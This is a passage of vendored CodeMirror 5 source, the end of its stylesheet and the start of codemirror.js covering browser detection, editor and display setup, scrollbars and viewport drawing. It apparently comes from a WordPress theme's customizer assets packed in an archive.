  display: inline-block;
  margin-bottom: -30px;
  /* Hack to make IE7 behave */
  *zoom:1;
  *display:inline;
}
.CodeMirror-gutter-wrapper {
  position: absolute;
  z-index: 4;
  background: none !important;
  border: none !important;
}
.CodeMirror-gutter-background {
  position: absolute;
  top: 0; bottom: 0;
  z-index: 4;
}
.CodeMirror-gutter-elt {
  position: absolute;
  cursor: default;
  z-index: 4;
}
.CodeMirror-gutter-wrapper {
  -webkit-user-select: none;
  -moz-user-select: none;
  user-select: none;
}

.CodeMirror-lines {
  cursor: text;
  min-height: 1px; /* prevents collapsing before first draw */
}
.CodeMirror pre {
  /* Reset some styles that the rest of the page might have set */
  -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
  border-width: 0;
  background: transparent;
  font-family: inherit;
  font-size: inherit;
  margin: 0;
  white-space: pre;
  word-wrap: normal;
  line-height: inherit;
  color: inherit;
  z-index: 2;
  position: relative;
  overflow: visible;
  -webkit-tap-highlight-color: transparent;
}
.CodeMirror-wrap pre {
  word-wrap: break-word;
  white-space: pre-wrap;
  word-break: normal;
}

.CodeMirror-linebackground {
  position: absolute;
  left: 0; right: 0; top: 0; bottom: 0;
  z-index: 0;
}

.CodeMirror-linewidget {
  position: relative;
  z-index: 2;
  overflow: auto;
}

.CodeMirror-widget {}

.CodeMirror-code {
  outline: none;
}

/* Force content-box sizing for the elements where we expect it */
.CodeMirror-scroll,
.CodeMirror-sizer,
.CodeMirror-gutter,
.CodeMirror-gutters,
.CodeMirror-linenumber {
  -moz-box-sizing: content-box;
  box-sizing: content-box;
}

.CodeMirror-measure {
  position: absolute;
  width: 100%;
  height: 0;
  overflow: hidden;
  visibility: hidden;
}

.CodeMirror-cursor { position: absolute; }
.CodeMirror-measure pre { position: static; }

div.CodeMirror-cursors {
  visibility: hidden;
  position: relative;
  z-index: 3;
}
div.CodeMirror-dragcursors {
  visibility: visible;
}

.CodeMirror-focused div.CodeMirror-cursors {
  visibility: visible;
}

.CodeMirror-selected { background: #d9d9d9; }
.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
.CodeMirror-crosshair { cursor: crosshair; }
.CodeMirror-line::selection, .CodeMirror-line > span::selection, .CodeMirror-line > span > span::selection { background: #d7d4f0; }
.CodeMirror-line::-moz-selection, .CodeMirror-line > span::-moz-selection, .CodeMirror-line > span > span::-moz-selection { background: #d7d4f0; }

.cm-searching {
  background: #ffa;
  background: rgba(255, 255, 0, .4);
}

/* IE7 hack to prevent it from returning funny offsetTops on the spans */
.CodeMirror span { *vertical-align: text-bottom; }

/* Used to force a border model for a node */
.cm-force-border { padding-right: .1px; }

@media print {
  /* Hide the cursor when printing */
  .CodeMirror div.CodeMirror-cursors {
    visibility: hidden;
  }
}

/* See issue #2901 */
.cm-tab-wrap-hack:after { content: ''; }

/* Help users use markselection to safely style text background */
span.CodeMirror-selectedtext { background: none; }
PK     N\_ _ F  inc/customizer/framework/assets/js/vendor/codemirror/lib/codemirror.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// This is CodeMirror (http://codemirror.net), a code editor
// implemented in JavaScript on top of the browser's DOM.
//
// You can find some technical background for some of the code below
// at http://marijnhaverbeke.nl/blog/#cm-internals .

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    module.exports = mod();
  else if (typeof define == "function" && define.amd) // AMD
    return define([], mod);
  else // Plain browser env
    this.CodeMirror = mod();
})(function() {
  "use strict";

  // BROWSER SNIFFING

  // Kludges for bugs and behavior differences that can't be feature
  // detected are enabled based on userAgent etc sniffing.
  var userAgent = navigator.userAgent;
  var platform = navigator.platform;

  var gecko = /gecko\/\d/i.test(userAgent);
  var ie_upto10 = /MSIE \d/.test(userAgent);
  var ie_11up = /Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(userAgent);
  var ie = ie_upto10 || ie_11up;
  var ie_version = ie && (ie_upto10 ? document.documentMode || 6 : ie_11up[1]);
  var webkit = /WebKit\//.test(userAgent);
  var qtwebkit = webkit && /Qt\/\d+\.\d+/.test(userAgent);
  var chrome = /Chrome\//.test(userAgent);
  var presto = /Opera\//.test(userAgent);
  var safari = /Apple Computer/.test(navigator.vendor);
  var mac_geMountainLion = /Mac OS X 1\d\D([8-9]|\d\d)\D/.test(userAgent);
  var phantom = /PhantomJS/.test(userAgent);

  var ios = /AppleWebKit/.test(userAgent) && /Mobile\/\w+/.test(userAgent);
  // This is woefully incomplete. Suggestions for alternative methods welcome.
  var mobile = ios || /Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(userAgent);
  var mac = ios || /Mac/.test(platform);
  var windows = /win/i.test(platform);

  var presto_version = presto && userAgent.match(/Version\/(\d*\.\d*)/);
  if (presto_version) presto_version = Number(presto_version[1]);
  if (presto_version && presto_version >= 15) { presto = false; webkit = true; }
  // Some browsers use the wrong event properties to signal cmd/ctrl on OS X
  var flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11));
  var captureRightClick = gecko || (ie && ie_version >= 9);

  // Optimize some code when these features are not used.
  var sawReadOnlySpans = false, sawCollapsedSpans = false;

  // EDITOR CONSTRUCTOR

  // A CodeMirror instance represents an editor. This is the object
  // that user code is usually dealing with.

  function CodeMirror(place, options) {
    if (!(this instanceof CodeMirror)) return new CodeMirror(place, options);

    this.options = options = options ? copyObj(options) : {};
    // Determine effective options based on given values and defaults.
    copyObj(defaults, options, false);
    setGuttersForLineNumbers(options);

    var doc = options.value;
    if (typeof doc == "string") doc = new Doc(doc, options.mode, null, options.lineSeparator);
    this.doc = doc;

    var input = new CodeMirror.inputStyles[options.inputStyle](this);
    var display = this.display = new Display(place, doc, input);
    display.wrapper.CodeMirror = this;
    updateGutters(this);
    themeChanged(this);
    if (options.lineWrapping)
      this.display.wrapper.className += " CodeMirror-wrap";
    if (options.autofocus && !mobile) display.input.focus();
    initScrollbars(this);

    this.state = {
      keyMaps: [],  // stores maps added by addKeyMap
      overlays: [], // highlighting overlays, as added by addOverlay
      modeGen: 0,   // bumped when mode/overlay changes, used to invalidate highlighting info
      overwrite: false,
      delayingBlurEvent: false,
      focused: false,
      suppressEdits: false, // used to disable editing during key handlers when in readOnly mode
      pasteIncoming: false, cutIncoming: false, // help recognize paste/cut edits in input.poll
      selectingText: false,
      draggingText: false,
      highlight: new Delayed(), // stores highlight worker timeout
      keySeq: null,  // Unfinished key sequence
      specialChars: null
    };

    var cm = this;

    // Override magic textarea content restore that IE sometimes does
    // on our hidden textarea on reload
    if (ie && ie_version < 11) setTimeout(function() { cm.display.input.reset(true); }, 20);

    registerEventHandlers(this);
    ensureGlobalHandlers();

    startOperation(this);
    this.curOp.forceUpdate = true;
    attachDoc(this, doc);

    if ((options.autofocus && !mobile) || cm.hasFocus())
      setTimeout(bind(onFocus, this), 20);
    else
      onBlur(this);

    for (var opt in optionHandlers) if (optionHandlers.hasOwnProperty(opt))
      optionHandlers[opt](this, options[opt], Init);
    maybeUpdateLineNumberWidth(this);
    if (options.finishInit) options.finishInit(this);
    for (var i = 0; i < initHooks.length; ++i) initHooks[i](this);
    endOperation(this);
    // Suppress optimizelegibility in Webkit, since it breaks text
    // measuring on line wrapping boundaries.
    if (webkit && options.lineWrapping &&
        getComputedStyle(display.lineDiv).textRendering == "optimizelegibility")
      display.lineDiv.style.textRendering = "auto";
  }

  // DISPLAY CONSTRUCTOR

  // The display handles the DOM integration, both for input reading
  // and content drawing. It holds references to DOM nodes and
  // display-related state.

  function Display(place, doc, input) {
    var d = this;
    this.input = input;

    // Covers bottom-right square when both scrollbars are present.
    d.scrollbarFiller = elt("div", null, "CodeMirror-scrollbar-filler");
    d.scrollbarFiller.setAttribute("cm-not-content", "true");
    // Covers bottom of gutter when coverGutterNextToScrollbar is on
    // and h scrollbar is present.
    d.gutterFiller = elt("div", null, "CodeMirror-gutter-filler");
    d.gutterFiller.setAttribute("cm-not-content", "true");
    // Will contain the actual code, positioned to cover the viewport.
    d.lineDiv = elt("div", null, "CodeMirror-code");
    // Elements are added to these to represent selection and cursors.
    d.selectionDiv = elt("div", null, null, "position: relative; z-index: 1");
    d.cursorDiv = elt("div", null, "CodeMirror-cursors");
    // A visibility: hidden element used to find the size of things.
    d.measure = elt("div", null, "CodeMirror-measure");
    // When lines outside of the viewport are measured, they are drawn in this.
    d.lineMeasure = elt("div", null, "CodeMirror-measure");
    // Wraps everything that needs to exist inside the vertically-padded coordinate system
    d.lineSpace = elt("div", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],
                      null, "position: relative; outline: none");
    // Moved around its parent to cover visible view.
    d.mover = elt("div", [elt("div", [d.lineSpace], "CodeMirror-lines")], null, "position: relative");
    // Set to the height of the document, allowing scrolling.
    d.sizer = elt("div", [d.mover], "CodeMirror-sizer");
    d.sizerWidth = null;
    // Behavior of elts with overflow: auto and padding is
    // inconsistent across browsers. This is used to ensure the
    // scrollable area is big enough.
    d.heightForcer = elt("div", null, null, "position: absolute; height: " + scrollerGap + "px; width: 1px;");
    // Will contain the gutters, if any.
    d.gutters = elt("div", null, "CodeMirror-gutters");
    d.lineGutter = null;
    // Actual scrollable element.
    d.scroller = elt("div", [d.sizer, d.heightForcer, d.gutters], "CodeMirror-scroll");
    d.scroller.setAttribute("tabIndex", "-1");
    // The element in which the editor lives.
    d.wrapper = elt("div", [d.scrollbarFiller, d.gutterFiller, d.scroller], "CodeMirror");

    // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)
    if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }
    if (!webkit && !(gecko && mobile)) d.scroller.draggable = true;

    if (place) {
      if (place.appendChild) place.appendChild(d.wrapper);
      else place(d.wrapper);
    }

    // Current rendered range (may be bigger than the view window).
    d.viewFrom = d.viewTo = doc.first;
    d.reportedViewFrom = d.reportedViewTo = doc.first;
    // Information about the rendered lines.
    d.view = [];
    d.renderedView = null;
    // Holds info about a single rendered line when it was rendered
    // for measurement, while not in view.
    d.externalMeasured = null;
    // Empty space (in pixels) above the view
    d.viewOffset = 0;
    d.lastWrapHeight = d.lastWrapWidth = 0;
    d.updateLineNumbers = null;

    d.nativeBarWidth = d.barHeight = d.barWidth = 0;
    d.scrollbarsClipped = false;

    // Used to only resize the line number gutter when necessary (when
    // the amount of lines crosses a boundary that makes its width change)
    d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;
    // Set to true when a non-horizontal-scrolling line widget is
    // added. As an optimization, line widget aligning is skipped when
    // this is false.
    d.alignWidgets = false;

    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;

    // Tracks the maximum line length so that the horizontal scrollbar
    // can be kept static when scrolling.
    d.maxLine = null;
    d.maxLineLength = 0;
    d.maxLineChanged = false;

    // Used for measuring wheel scrolling granularity
    d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;

    // True when shift is held down.
    d.shift = false;

    // Used to track whether anything happened since the context menu
    // was opened.
    d.selForContextMenu = null;

    d.activeTouch = null;

    input.init(d);
  }

  // STATE UPDATES

  // Used to get the editor into a consistent state again when options change.

  function loadMode(cm) {
    cm.doc.mode = CodeMirror.getMode(cm.options, cm.doc.modeOption);
    resetModeState(cm);
  }

  function resetModeState(cm) {
    cm.doc.iter(function(line) {
      if (line.stateAfter) line.stateAfter = null;
      if (line.styles) line.styles = null;
    });
    cm.doc.frontier = cm.doc.first;
    startWorker(cm, 100);
    cm.state.modeGen++;
    if (cm.curOp) regChange(cm);
  }

  function wrappingChanged(cm) {
    if (cm.options.lineWrapping) {
      addClass(cm.display.wrapper, "CodeMirror-wrap");
      cm.display.sizer.style.minWidth = "";
      cm.display.sizerWidth = null;
    } else {
      rmClass(cm.display.wrapper, "CodeMirror-wrap");
      findMaxLine(cm);
    }
    estimateLineHeights(cm);
    regChange(cm);
    clearCaches(cm);
    setTimeout(function(){updateScrollbars(cm);}, 100);
  }

  // Returns a function that estimates the height of a line, to use as
  // first approximation until the line becomes visible (and is thus
  // properly measurable).
  function estimateHeight(cm) {
    var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;
    var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3);
    return function(line) {
      if (lineIsHidden(cm.doc, line)) return 0;

      var widgetsHeight = 0;
      if (line.widgets) for (var i = 0; i < line.widgets.length; i++) {
        if (line.widgets[i].height) widgetsHeight += line.widgets[i].height;
      }

      if (wrapping)
        return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th;
      else
        return widgetsHeight + th;
    };
  }

  function estimateLineHeights(cm) {
    var doc = cm.doc, est = estimateHeight(cm);
    doc.iter(function(line) {
      var estHeight = est(line);
      if (estHeight != line.height) updateLineHeight(line, estHeight);
    });
  }

  function themeChanged(cm) {
    cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") +
      cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-");
    clearCaches(cm);
  }

  function guttersChanged(cm) {
    updateGutters(cm);
    regChange(cm);
    setTimeout(function(){alignHorizontally(cm);}, 20);
  }

  // Rebuild the gutter elements, ensure the margin to the left of the
  // code matches their width.
  function updateGutters(cm) {
    var gutters = cm.display.gutters, specs = cm.options.gutters;
    removeChildren(gutters);
    for (var i = 0; i < specs.length; ++i) {
      var gutterClass = specs[i];
      var gElt = gutters.appendChild(elt("div", null, "CodeMirror-gutter " + gutterClass));
      if (gutterClass == "CodeMirror-linenumbers") {
        cm.display.lineGutter = gElt;
        gElt.style.width = (cm.display.lineNumWidth || 1) + "px";
      }
    }
    gutters.style.display = i ? "" : "none";
    updateGutterSpace(cm);
  }

  function updateGutterSpace(cm) {
    var width = cm.display.gutters.offsetWidth;
    cm.display.sizer.style.marginLeft = width + "px";
  }

  // Compute the character length of a line, taking into account
  // collapsed ranges (see markText) that might hide parts, and join
  // other lines onto it.
  function lineLength(line) {
    if (line.height == 0) return 0;
    var len = line.text.length, merged, cur = line;
    while (merged = collapsedSpanAtStart(cur)) {
      var found = merged.find(0, true);
      cur = found.from.line;
      len += found.from.ch - found.to.ch;
    }
    cur = line;
    while (merged = collapsedSpanAtEnd(cur)) {
      var found = merged.find(0, true);
      len -= cur.text.length - found.from.ch;
      cur = found.to.line;
      len += cur.text.length - found.to.ch;
    }
    return len;
  }

  // Find the longest line in the document.
  function findMaxLine(cm) {
    var d = cm.display, doc = cm.doc;
    d.maxLine = getLine(doc, doc.first);
    d.maxLineLength = lineLength(d.maxLine);
    d.maxLineChanged = true;
    doc.iter(function(line) {
      var len = lineLength(line);
      if (len > d.maxLineLength) {
        d.maxLineLength = len;
        d.maxLine = line;
      }
    });
  }

  // Make sure the gutters options contains the element
  // "CodeMirror-linenumbers" when the lineNumbers option is true.
  function setGuttersForLineNumbers(options) {
    var found = indexOf(options.gutters, "CodeMirror-linenumbers");
    if (found == -1 && options.lineNumbers) {
      options.gutters = options.gutters.concat(["CodeMirror-linenumbers"]);
    } else if (found > -1 && !options.lineNumbers) {
      options.gutters = options.gutters.slice(0);
      options.gutters.splice(found, 1);
    }
  }

  // SCROLLBARS

  // Prepare DOM reads needed to update the scrollbars. Done in one
  // shot to minimize update/measure roundtrips.
  function measureForScrollbars(cm) {
    var d = cm.display, gutterW = d.gutters.offsetWidth;
    var docH = Math.round(cm.doc.height + paddingVert(cm.display));
    return {
      clientHeight: d.scroller.clientHeight,
      viewHeight: d.wrapper.clientHeight,
      scrollWidth: d.scroller.scrollWidth, clientWidth: d.scroller.clientWidth,
      viewWidth: d.wrapper.clientWidth,
      barLeft: cm.options.fixedGutter ? gutterW : 0,
      docHeight: docH,
      scrollHeight: docH + scrollGap(cm) + d.barHeight,
      nativeBarWidth: d.nativeBarWidth,
      gutterWidth: gutterW
    };
  }

  function NativeScrollbars(place, scroll, cm) {
    this.cm = cm;
    var vert = this.vert = elt("div", [elt("div", null, null, "min-width: 1px")], "CodeMirror-vscrollbar");
    var horiz = this.horiz = elt("div", [elt("div", null, null, "height: 100%; min-height: 1px")], "CodeMirror-hscrollbar");
    place(vert); place(horiz);

    on(vert, "scroll", function() {
      if (vert.clientHeight) scroll(vert.scrollTop, "vertical");
    });
    on(horiz, "scroll", function() {
      if (horiz.clientWidth) scroll(horiz.scrollLeft, "horizontal");
    });

    this.checkedZeroWidth = false;
    // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).
    if (ie && ie_version < 8) this.horiz.style.minHeight = this.vert.style.minWidth = "18px";
  }

  NativeScrollbars.prototype = copyObj({
    update: function(measure) {
      var needsH = measure.scrollWidth > measure.clientWidth + 1;
      var needsV = measure.scrollHeight > measure.clientHeight + 1;
      var sWidth = measure.nativeBarWidth;

      if (needsV) {
        this.vert.style.display = "block";
        this.vert.style.bottom = needsH ? sWidth + "px" : "0";
        var totalHeight = measure.viewHeight - (needsH ? sWidth : 0);
        // A bug in IE8 can cause this value to be negative, so guard it.
        this.vert.firstChild.style.height =
          Math.max(0, measure.scrollHeight - measure.clientHeight + totalHeight) + "px";
      } else {
        this.vert.style.display = "";
        this.vert.firstChild.style.height = "0";
      }

      if (needsH) {
        this.horiz.style.display = "block";
        this.horiz.style.right = needsV ? sWidth + "px" : "0";
        this.horiz.style.left = measure.barLeft + "px";
        var totalWidth = measure.viewWidth - measure.barLeft - (needsV ? sWidth : 0);
        this.horiz.firstChild.style.width =
          (measure.scrollWidth - measure.clientWidth + totalWidth) + "px";
      } else {
        this.horiz.style.display = "";
        this.horiz.firstChild.style.width = "0";
      }

      if (!this.checkedZeroWidth && measure.clientHeight > 0) {
        if (sWidth == 0) this.zeroWidthHack();
        this.checkedZeroWidth = true;
      }

      return {right: needsV ? sWidth : 0, bottom: needsH ? sWidth : 0};
    },
    setScrollLeft: function(pos) {
      if (this.horiz.scrollLeft != pos) this.horiz.scrollLeft = pos;
      if (this.disableHoriz) this.enableZeroWidthBar(this.horiz, this.disableHoriz);
    },
    setScrollTop: function(pos) {
      if (this.vert.scrollTop != pos) this.vert.scrollTop = pos;
      if (this.disableVert) this.enableZeroWidthBar(this.vert, this.disableVert);
    },
    zeroWidthHack: function() {
      var w = mac && !mac_geMountainLion ? "12px" : "18px";
      this.horiz.style.height = this.vert.style.width = w;
      this.horiz.style.pointerEvents = this.vert.style.pointerEvents = "none";
      this.disableHoriz = new Delayed;
      this.disableVert = new Delayed;
    },
    enableZeroWidthBar: function(bar, delay) {
      bar.style.pointerEvents = "auto";
      function maybeDisable() {
        // To find out whether the scrollbar is still visible, we
        // check whether the element under the pixel in the bottom
        // left corner of the scrollbar box is the scrollbar box
        // itself (when the bar is still visible) or its filler child
        // (when the bar is hidden). If it is still visible, we keep
        // it enabled, if it's hidden, we disable pointer events.
        var box = bar.getBoundingClientRect();
        var elt = document.elementFromPoint(box.left + 1, box.bottom - 1);
        if (elt != bar) bar.style.pointerEvents = "none";
        else delay.set(1000, maybeDisable);
      }
      delay.set(1000, maybeDisable);
    },
    clear: function() {
      var parent = this.horiz.parentNode;
      parent.removeChild(this.horiz);
      parent.removeChild(this.vert);
    }
  }, NativeScrollbars.prototype);

  function NullScrollbars() {}

  NullScrollbars.prototype = copyObj({
    update: function() { return {bottom: 0, right: 0}; },
    setScrollLeft: function() {},
    setScrollTop: function() {},
    clear: function() {}
  }, NullScrollbars.prototype);

  CodeMirror.scrollbarModel = {"native": NativeScrollbars, "null": NullScrollbars};

  function initScrollbars(cm) {
    if (cm.display.scrollbars) {
      cm.display.scrollbars.clear();
      if (cm.display.scrollbars.addClass)
        rmClass(cm.display.wrapper, cm.display.scrollbars.addClass);
    }

    cm.display.scrollbars = new CodeMirror.scrollbarModel[cm.options.scrollbarStyle](function(node) {
      cm.display.wrapper.insertBefore(node, cm.display.scrollbarFiller);
      // Prevent clicks in the scrollbars from killing focus
      on(node, "mousedown", function() {
        if (cm.state.focused) setTimeout(function() { cm.display.input.focus(); }, 0);
      });
      node.setAttribute("cm-not-content", "true");
    }, function(pos, axis) {
      if (axis == "horizontal") setScrollLeft(cm, pos);
      else setScrollTop(cm, pos);
    }, cm);
    if (cm.display.scrollbars.addClass)
      addClass(cm.display.wrapper, cm.display.scrollbars.addClass);
  }

  function updateScrollbars(cm, measure) {
    if (!measure) measure = measureForScrollbars(cm);
    var startWidth = cm.display.barWidth, startHeight = cm.display.barHeight;
    updateScrollbarsInner(cm, measure);
    for (var i = 0; i < 4 && startWidth != cm.display.barWidth || startHeight != cm.display.barHeight; i++) {
      if (startWidth != cm.display.barWidth && cm.options.lineWrapping)
        updateHeightsInViewport(cm);
      updateScrollbarsInner(cm, measureForScrollbars(cm));
      startWidth = cm.display.barWidth; startHeight = cm.display.barHeight;
    }
  }

  // Re-synchronize the fake scrollbars with the actual size of the
  // content.
  function updateScrollbarsInner(cm, measure) {
    var d = cm.display;
    var sizes = d.scrollbars.update(measure);

    d.sizer.style.paddingRight = (d.barWidth = sizes.right) + "px";
    d.sizer.style.paddingBottom = (d.barHeight = sizes.bottom) + "px";

    if (sizes.right && sizes.bottom) {
      d.scrollbarFiller.style.display = "block";
      d.scrollbarFiller.style.height = sizes.bottom + "px";
      d.scrollbarFiller.style.width = sizes.right + "px";
    } else d.scrollbarFiller.style.display = "";
    if (sizes.bottom && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) {
      d.gutterFiller.style.display = "block";
      d.gutterFiller.style.height = sizes.bottom + "px";
      d.gutterFiller.style.width = measure.gutterWidth + "px";
    } else d.gutterFiller.style.display = "";
  }

  // Compute the lines that are visible in a given viewport (defaults
  // the the current scroll position). viewport may contain top,
  // height, and ensure (see op.scrollToPos) properties.
  function visibleLines(display, doc, viewport) {
    var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop;
    top = Math.floor(top - paddingTop(display));
    var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight;

    var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);
    // Ensure is a {from: {line, ch}, to: {line, ch}} object, and
    // forces those lines into the viewport (if possible).
    if (viewport && viewport.ensure) {
      var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line;
      if (ensureFrom < from) {
        from = ensureFrom;
        to = lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight);
      } else if (Math.min(ensureTo, doc.lastLine()) >= to) {
        from = lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight);
        to = ensureTo;
      }
    }
    return {from: from, to: Math.max(to, from + 1)};
  }

  // LINE NUMBERS

  // Re-align line numbers and gutter marks to compensate for
  // horizontal scrolling.
  function alignHorizontally(cm) {
    var display = cm.display, view = display.view;
    if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) return;
    var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft;
    var gutterW = display.gutters.offsetWidth, left = comp + "px";
    for (var i = 0; i < view.length; i++) if (!view[i].hidden) {
      if (cm.options.fixedGutter && view[i].gutter)
        view[i].gutter.style.left = left;
      var align = view[i].alignable;
      if (align) for (var j = 0; j < align.length; j++)
        align[j].style.left = left;
    }
    if (cm.options.fixedGutter)
      display.gutters.style.left = (comp + gutterW) + "px";
  }

  // Used to ensure that the line number gutter is still the right
  // size for the current document size. Returns true when an update
  // is needed.
  function maybeUpdateLineNumberWidth(cm) {
    if (!cm.options.lineNumbers) return false;
    var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display;
    if (last.length != display.lineNumChars) {
      var test = display.measure.appendChild(elt("div", [elt("div", last)],
                                                 "CodeMirror-linenumber CodeMirror-gutter-elt"));
      var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW;
      display.lineGutter.style.width = "";
      display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding) + 1;
      display.lineNumWidth = display.lineNumInnerWidth + padding;
      display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;
      display.lineGutter.style.width = display.lineNumWidth + "px";
      updateGutterSpace(cm);
      return true;
    }
    return false;
  }

  function lineNumberFor(options, i) {
    return String(options.lineNumberFormatter(i + options.firstLineNumber));
  }

  // Computes display.scroller.scrollLeft + display.gutters.offsetWidth,
  // but using getBoundingClientRect to get a sub-pixel-accurate
  // result.
  function compensateForHScroll(display) {
    return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left;
  }

  // DISPLAY DRAWING

  function DisplayUpdate(cm, viewport, force) {
    var display = cm.display;

    this.viewport = viewport;
    // Store some values that we'll need later (but don't want to force a relayout for)
    this.visible = visibleLines(display, cm.doc, viewport);
    this.editorIsHidden = !display.wrapper.offsetWidth;
    this.wrapperHeight = display.wrapper.clientHeight;
    this.wrapperWidth = display.wrapper.clientWidth;
    this.oldDisplayWidth = displayWidth(cm);
    this.force = force;
    this.dims = getDimensions(cm);
    this.events = [];
  }

  DisplayUpdate.prototype.signal = function(emitter, type) {
    if (hasHandler(emitter, type))
      this.events.push(arguments);
  };
  DisplayUpdate.prototype.finish = function() {
    for (var i = 0; i < this.events.length; i++)
      signal.apply(null, this.events[i]);
  };

  function maybeClipScrollbars(cm) {
    var display = cm.display;
    if (!display.scrollbarsClipped && display.scroller.offsetWidth) {
      display.nativeBarWidth = display.scroller.offsetWidth - display.scroller.clientWidth;
      display.heightForcer.style.height = scrollGap(cm) + "px";
      display.sizer.style.marginBottom = -display.nativeBarWidth + "px";
      display.sizer.style.borderRightWidth = scrollGap(cm) + "px";
      display.scrollbarsClipped = true;
    }
  }

  // Does the actual updating of the line display. Bails out
  // (returning false) when there is nothing to be done and forced is
  // false.
  function updateDisplayIfNeeded(cm, update) {
    var display = cm.display, doc = cm.doc;

    if (update.editorIsHidden) {
      resetView(cm);
      return false;
    }

    // Bail out if the visible area is already rendered and nothing changed.
    if (!update.force &&
        update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) &&
        display.renderedView == display.view && countDirtyView(cm) == 0)
      return false;

    if (maybeUpdateLineNumberWidth(cm)) {
      resetView(cm);
      update.dims = getDimensions(cm);
    }

    // Compute a suitable new viewport (from & to)
    var end = doc.first + doc.size;
    var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first);
    var to = Math.min(end, update.visible.to + cm.options.viewportMargin);
    if (display.viewFrom < from && from - display.viewFrom < 20) from = Math.max(doc.first, display.viewFrom);
    if (display.viewTo > to && display.viewTo - to < 20) to = Math.min(end, display.viewTo);
    if (sawCollapsedSpans) {
      from = visualLineNo(cm.doc, from);
      to = visualLineEndNo(cm.doc, to);
    }

    var different = from != display.viewFrom || to != display.viewTo ||
      display.lastWrapHeight != update.wrapperHeight || display.lastWrapWidth != update.wrapperWidth;
    adjustView(cm, from, to);

    display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));
    // Position the mover div to align with the current scroll position
    cm.display.mover.style.top = display.viewOffset + "px";

    var toUpdate = countDirtyView(cm);
    if (!different && toUpdate == 0 && !update.force && display.renderedView == display.view &&
        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo))
      return false;

    // For big changes, we hide the enclosing element during the
    // update, since that speeds up the operations on most browsers.
    var focused = activeElt();
    if (toUpdate > 4) display.lineDiv.style.display = "none";
    patchDisplay(cm, display.updateLineNumbers, update.dims);
    if (toUpdate > 4) display.lineDiv.style.display = "";
    display.renderedView = display.view;
    // There might have been a widget with a focused element that got
    // hidden or updated, if so re-focus it.
    if (focused && activeElt() != focused && focused.offsetHeight) focused.focus();

    // Prevent selection and cursors from interfering with the scroll
    // width and height.
    removeChildren(display.cursorDiv);
    removeChildren(display.selectionDiv);
    display.gutters.style.height = display.sizer.style.minHeight = 0;

    if (different) {
      display.lastWrapHeight = update.wrapperHeight;
      display.lastWrapWidth = update.wrapperWidth;
      startWorker(cm, 400);
    }

    display.updateLineNumbers = null;

    return true;
  }

  function postUpdateDisplay(cm, update) {
    var viewport = update.viewport;
    for (var first = true;; first = false) {
      if (!first || !cm.options.lineWrapping || update.oldDisplayWidth == displayWidth(cm)) {
        // Clip forced viewport to actual scrollable area.
        if (viewport && viewport.top != null)
          viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - displayHeight(cm), viewport.top)};
        // Updated line heights might result in the drawn area not
        // actually covering the viewport. Keep looping until it does.
        update.visible = visibleLines(cm.display, cm.doc, viewport);
        if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo)
          break;
      }
      if (!updateDisplayIfNeeded(cm, update)) break;
      updateHeightsInViewport(cm);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      setDocumentHeight(cm, barMeasure);
      updateScrollbars(cm, barMeasure);
    }

    update.signal(cm, "update", cm);
    if (cm.display.viewFrom != cm.display.reportedViewFrom || cm.display.viewTo != cm.display.reportedViewTo) {
      update.signal(cm, "viewportChange", cm, cm.display.viewFrom, cm.display.viewTo);
      cm.display.reportedViewFrom = cm.display.viewFrom; cm.display.reportedViewTo = cm.display.viewTo;
    }
  }

  function updateDisplaySimple(cm, viewport) {
    var update = new DisplayUpdate(cm, viewport);
    if (updateDisplayIfNeeded(cm, update)) {
      updateHeightsInViewport(cm);
      postUpdateDisplay(cm, update);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      setDocumentHeight(cm, barMeasure);
      updateScrollbars(cm, barMeasure);
      update.finish();
    }
  }

  function setDocumentHeight(cm, measure) {
    cm.display.sizer.style.minHeight = measure.docHeight + "px";
    var total = measure.docHeight + cm.display.barHeight;
    cm.display.heightForcer.style.top = total + "px";
